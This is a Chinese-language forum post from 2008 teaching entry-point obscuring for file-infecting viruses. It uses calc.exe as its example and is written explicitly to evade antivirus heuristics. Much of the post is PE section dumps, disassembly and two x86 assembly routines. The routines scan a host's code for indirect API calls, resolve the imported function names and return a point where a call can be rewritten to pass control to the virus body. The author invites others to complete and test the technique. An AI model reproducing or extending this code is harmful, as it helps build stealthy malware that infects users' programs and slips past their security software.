


EPO加花【本版原创】
首先说点废话,我本人现在已经放弃做免杀,转而玩密码了,这个关于EPO技术的东西也是最后一篇了,我先声明,借鉴和参考了很多人的东西才得以完成此文,再此向他们表示最诚挚的谢意.在以后要写的关于的密码文章里,我肯定会给大家带来更好的精品
很久很久以前,那个时候人们出门要挤汽车,家家用着冰箱电视洗衣机,那就是遥远的2008年9月15日.(众人:不就是1天前吗?!于是本人再次成为众人追打的对象-_-.....)我向bk7477890同学学习免杀,结果不知道怎么的就说到了EPO技术加花,于是就有了下文
首先我们都知道一个木马为了获得控制权,可以有很多几种修改可执行文件的方法:
1,修改入口字段指向病毒代码
2,在程序代码中插入一个指向病毒代码的跳转指令
第一个方法很简单,可以说简单的不能再简单了,但是现在几乎所有的杀毒软件都会把这样的被感染文件看成是可疑文件,不是吗?为什么呢?因为一个程序的入口指针在代码段以外,所以这个不是木马也至少是可疑文件吧。
第二种方法相比第一种可就要复杂了。病毒通过改写第一个jmp或者call指令让其指向自己。这样虽然可以过掉少部分弱智的杀毒软件,但是一些稍微好一点的杀毒还是会在扫描时还是可以把这个文件报告为可疑文件。为什么?杀毒软件扫描文件入口附近的代码并发现一个指向代码段以外的jmp或call指令。
于是聪明的大家就发现可以在这个指向我们的病毒代码的jmp或者call之前生成一些随机指令。如果杀毒软件只是检查第一条指令它就不会检测到这个指向病毒的跳转。但是现在这样已经完全的绝对的不够了。因为一些很牛的杀毒软件可以越过这些垃圾指令并跟踪到那个指向病毒的跳转指令,然后还是会把这个文件报告为可疑文件。(我恨杀毒软件..)那有什么好的解决方法么?于是我就不断的想呀想呀想,终于在抄袭了无数前辈的资料后发现可以在距离入口很远很远很远的地方插入一个指向宿主代码内部病毒体的跳转指令。
但是为了达到这个目的我们就必须分析每条指令从而得知道我们一个安全的地方。
但是STOP!我们并不需要搞一个类似调试器一样的病毒。怎么弄呢?我又找呀找呀找(找呀找呀找朋友...被三哥追打下台..),终于找到了一个前辈说的利用PE文件结构来快速扫描文件并找到一个安全的位置插入指向代码的跳转指令。
怎么做呢?还是让大家把目光都聚焦到我的屏幕上来把,dump一下calc.exe的代码节:
01.text
SH_PointerToRawData00001000
SH_VirtualAddress00001000
SH_SizeOfRawData0000C000
SH_VirtualSize0000BF22
characteristics60000020
CODE
MEM_EXECUTE
MEM_READ
很明显,程序入口在00005D30h处,代码是:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
无视第一条指令,直接和我飞到 01285D56 这里。首先是看一下,读取地址,然后调用子程序。刚才我们说到的地址处的值为 77F13FD5,这个就是GetVersion的入口地址。所以这条指令显然就是调用了GetVersion这个API。
让我们一起聚焦这条的机器码: FF1568D02801
15FF间接调用0128D068子程序的入口地址
停!现在为止还没有什么新鲜的,但是大家和我反过来看一看,现在我们要在程序代码中找到一个API调用的指令。于是程序入口处的机器码:
00005D30 64 A1 00 00 00 00 55 8B d? U?
00005D38 EC 6A FF 68 08 DF 28 01 8j爃.?.
00005D40 68 D4 74 28 01 50 64 89 h+t(.Pd?
00005D48 25 00 00 00 00 83 EC 60 % ?`
00005D50 53 56 57 89 65 E8 FF 15 SVW雃F?
00005D58 68 D0 28 01 A3 8C F5 28 h-(. )(
00005D60 01 33 C0 A0 F5 28 01 .3+犰)(.
00005D68 A3 98 F5 28 01 A1 8C F5 ?)(.眍)
00005D70 28 01 C1 2D 8C F5 28 01 (.--?(.
00005D78 10 25 FF 00 00 00 A3 94 .%?
00005D80 F5 28 01 C1 E0 08 03 05 )(.-a...
如果我们来扫描这个区并寻找CALL指令的话,我们就可以在 00005D56处找到我们想看到的东西。在它后面就是一个指向子程序的指针,让我们来检查一下:
00005D58 68 D0 28 01 -> 0128D068
在内存映象中地址 0128D068 代表什么呢:
0128D068 -> 指向子程序的入口
01280000 -> 文件头的映象基地址
--------
0000D068 -> 子程序入口的RVA
下面我们来dump一下calc.exe的导入节:
02 .rdata
SH_PointerToRawData0000D000
SH_VirtualAddress0000D000
SH_SizeOfRawData00002000
SH_VirtualSize00001F0A
characteristics60000020
INITIALIZED_DATA
MEM_READ
很好!很强大!很黄!很暴力!很拽!很拉风!其实到这里我觉得我们已经找到了在宿主代码中定位API调用的方法。但是字节 FF15h 并不一定就是一个API调用呀。它可以是,MOV EAX, 0000FF15h。我们怎么确定呢?
于是乎,我又上网参考了无数的资料终于明白了要怎么利用PE结构来从提取CALL指令引用的API的名字。
我们看一下 RVA 0000D068 在文件中对应的内容
0000D068 24 E8 00 00
貌似这个不是GetVersion的入口地址,但是仔细看看!看看在文件中偏移 0000E824 处的内容:
0000E824 4C 01 47 65 74 56 65 72 L.GetVer
0000E82C 73 69 6F 6E 00 00 6B 00 sion..k.
这就是程序如何通过名称加载API。第一个字是一个‘hint’,接下来是API的名字。
Code sectionImports section
------------------------------- -------------------------------
01285D56 - call [0128D068]
^
'--------->D068 - 24 E8 00 00
^
,----------'
|
'->E824 - 4C 01
E826 - "GetVersion"
大家来下面的代码,一个最初步的尝试:
;----------------------------------------------------------------------------
;Example 1
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Pointer to instruction after the api
; call or NULL if error
;
;----------------------------------------------------------------------------
example_1:mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
dec ecx
search_call:lodsw
dec esi
cmp ax,15FFh
je found_call
loop search_call
ret;Opcode not found
found_call:inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz e_get_code_raw
xchg ecx,esi
lodsd
lea esi,dword ptr [ebx+eax]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz OhYesItIs
loop IsThisStr
ret;Null terminator not found
OhYesItIs:push edx;Ptr to next instruction
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
or eax,eax
jnz e_get_code_raw
mov ecx,eax
e_get_code_raw:ret
;End of example 1
;----------------------------------------------------------------------------
一旦病毒得到了一个有效的指针,它就可以把这里的指令复制到一个缓冲区里,然后把这条指令修改成一个指向病毒代码的jmp或者call指令。
我们用例子中的代码对calc.exe操作,程序的入口出变成了这样:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C E898800000 call 0128DDF9
01285D61 33C0 xor eax,eax
就可以看到下面指令:
01285D5C A38CF52801 mov [0128F58C],eax
已经被改写成了:
01285D5C E898800000 call 0128DDF9
这会把下一条指令的地址压进栈。病毒可以弹出这个地址以在那里恢复原始代码并当工作结束后把控制权交给宿主程序。
但是我说明下,上面那个是我抄的,经过我测试上面的代码并不聪明。让我们来随便设想下这个是怎么工作的然后看看当处理下面代码时会发生什么:
jecxz label
push ecx
call CloseHandle
push eax
label:...
如果用例子1代码修改会得到类似下面的结果:
jecxz label
push ecx
call CloseHandle
call go2virus
问题是 jecxz 指令可能在程序调用病毒前把控制权交到别处。所以如果 ecx 为 0 我们的病毒就不能得到运行,并且 jecxz 还将会跳到一个无效的地址。
这时候上面的代码就出现了错误,当我们patch一个可执行文件的时候显露出一个很常见的陷阱是很好的。
所以一个针对对例子的修改升级版代码进行如下修改以适应这种情况:
;----------------------------------------------------------------------------
;Example 2
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------
example_2:mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
;End of example 2
;----------------------------------------------------------------------------
现在对API的调用改写成了对病毒体的调用,而不是改写后面的指令。这样我们永远永远不会改写除了这个API调用以外任何的指令...(这个也是一个前辈的思路,感谢他能发出来)
但是我知道,关于这个课题我还有很多的东西没做完,今天选择把它全部放出来(我原来是想在全部完成后放出来的)就是希望大家,各路高手....完成之后测试和完善
再次回到文章最前面,这个是我关于免杀的最后一篇文字,在之后关于密码的文章里,我肯定会把我的学习心得第一时间发出来,大家一起进步,一起努力...
[ 本帖最后由 黑暗风暴 于 2008-9-15 21:26 编辑 ]